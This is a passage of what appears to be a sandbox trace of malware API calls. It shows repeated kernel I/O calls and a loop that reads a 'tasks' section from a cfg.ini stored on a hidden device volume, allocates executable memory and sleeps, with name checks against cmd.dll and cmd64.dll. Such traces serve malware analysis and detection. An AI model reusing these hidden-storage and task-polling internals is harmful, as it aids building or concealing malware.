Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.978] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.978] IdePortDispatch () returned 0x103 [0123.978] KeWaitForMutexObject () returned 0x0 [0123.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.978] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.978] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.978] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.978] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.978] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bee970 [0123.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.978] KeLeaveCriticalRegion () [0123.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.978] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.978] KeEnterCriticalRegion () [0123.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.978] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.978] KeLeaveCriticalRegion () [0123.978] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.978] KeEnterCriticalRegion () [0123.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.979] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.979] IdePortDispatch () returned 0x103 [0123.979] KeWaitForMutexObject () returned 0x0 [0123.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.979] KeLeaveCriticalRegion () [0123.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.979] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.979] KeEnterCriticalRegion () [0123.979] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.979] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c0000 [0123.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.979] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.979] IdePortDispatch () returned 0x103 [0123.979] KeWaitForMutexObject () returned 0x0 [0123.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.979] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.979] IdePortDispatch () returned 0x103 [0123.980] KeWaitForMutexObject () returned 0x0 [0123.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.980] KeLeaveCriticalRegion () [0123.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.981] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.981] KeEnterCriticalRegion () [0123.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.981] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.981] KeLeaveCriticalRegion () [0123.981] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.981] KeEnterCriticalRegion () [0123.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.981] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.981] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.981] KeLeaveCriticalRegion () [0123.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.981] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.981] KeEnterCriticalRegion () [0123.981] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.981] ExFreePoolWithTag (P=0xfffffa8003bee970, Tag=0x0) [0123.981] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.981] KeLeaveCriticalRegion () [0123.981] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.981] ReleaseMutex (hMutex=0xf0) returned 1 [0123.981] Sleep (dwMilliseconds=0x927c0) [0123.997] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.997] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.997] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.997] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.998] KeEnterCriticalRegion () [0123.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.998] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.998] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.998] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.998] IdePortDispatch () returned 0x103 [0123.998] KeWaitForMutexObject () returned 0x0 [0123.998] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.998] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.998] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.998] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.998] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.998] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc5100 [0123.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.998] KeLeaveCriticalRegion () [0123.998] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.998] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.998] KeEnterCriticalRegion () [0123.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.998] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.998] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.998] KeLeaveCriticalRegion () [0123.998] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.998] KeEnterCriticalRegion () [0123.998] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.998] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.999] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.999] IdePortDispatch () returned 0x103 [0123.999] KeWaitForMutexObject () returned 0x0 [0123.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.999] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.999] KeLeaveCriticalRegion () [0123.999] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.999] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.999] KeEnterCriticalRegion () [0123.999] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.999] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c5000 [0123.999] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.999] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.999] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.999] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.999] IdePortDispatch () returned 0x103 [0123.999] KeWaitForMutexObject () returned 0x0 [0123.999] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.000] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.000] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.000] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.000] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.000] IdePortDispatch () returned 0x103 [0124.000] KeWaitForMutexObject () returned 0x0 [0124.000] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.000] KeLeaveCriticalRegion () [0124.000] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.000] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.001] KeEnterCriticalRegion () [0124.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.001] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.001] KeLeaveCriticalRegion () [0124.001] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.001] KeEnterCriticalRegion () [0124.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.001] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.001] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beef20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.001] KeLeaveCriticalRegion () [0124.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.001] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.001] KeEnterCriticalRegion () [0124.001] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.001] ExFreePoolWithTag (P=0xfffffa8003bc5100, Tag=0x0) [0124.001] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.001] KeLeaveCriticalRegion () [0124.001] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.001] ReleaseMutex (hMutex=0xf0) returned 1 [0124.001] Sleep (dwMilliseconds=0x927c0) [0124.018] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.018] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.018] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.019] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.019] KeEnterCriticalRegion () [0124.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.019] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.019] IdePortDispatch () returned 0x103 [0124.019] KeWaitForMutexObject () returned 0x0 [0124.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.019] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.019] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.019] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.019] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.019] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bed240 [0124.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.019] KeLeaveCriticalRegion () [0124.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.019] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.019] KeEnterCriticalRegion () [0124.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.019] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.019] KeLeaveCriticalRegion () [0124.019] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.019] KeEnterCriticalRegion () [0124.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.019] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0124.019] IdePortDispatch () returned 0x103 [0124.020] KeWaitForMutexObject () returned 0x0 [0124.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.020] KeLeaveCriticalRegion () [0124.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.020] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.020] KeEnterCriticalRegion () [0124.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.020] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034ca000 [0124.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.020] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.020] IdePortDispatch () returned 0x103 [0124.020] KeWaitForMutexObject () returned 0x0 [0124.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0124.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.020] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0124.020] IdePortDispatch () returned 0x103 [0124.021] KeWaitForMutexObject () returned 0x0 [0124.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.021] KeLeaveCriticalRegion () [0124.021] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.021] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.021] KeEnterCriticalRegion () [0124.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.021] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.021] KeLeaveCriticalRegion () [0124.022] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.022] KeEnterCriticalRegion () [0124.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.022] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0124.022] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.022] KeLeaveCriticalRegion () [0124.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.022] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.022] KeEnterCriticalRegion () [0124.022] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.022] ExFreePoolWithTag (P=0xfffffa8003bed240, Tag=0x0) [0124.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.022] KeLeaveCriticalRegion () [0124.022] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.022] ReleaseMutex (hMutex=0xf0) returned 1 [0124.022] Sleep (dwMilliseconds=0x927c0) [0124.041] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0124.041] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.041] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0124.041] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.041] KeEnterCriticalRegion () [0124.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.041] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.041] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0124.041] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.041] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0124.041] IdePortDispatch () returned 0x103 [0124.041] KeWaitForMutexObject () returned 0x0 [0124.041] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.041] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.041] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.041] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.041] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.041] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beffb0 [0124.041] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.041] KeLeaveCriticalRegion () [0124.041] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0124.041] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.041] KeEnterCriticalRegion () [0124.041] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.041] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0124.042] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.042] KeLeaveCriticalRegion () [0124.042] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.042] KeEnterCriticalRegion () [0124.042] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.042] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0124.042] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, 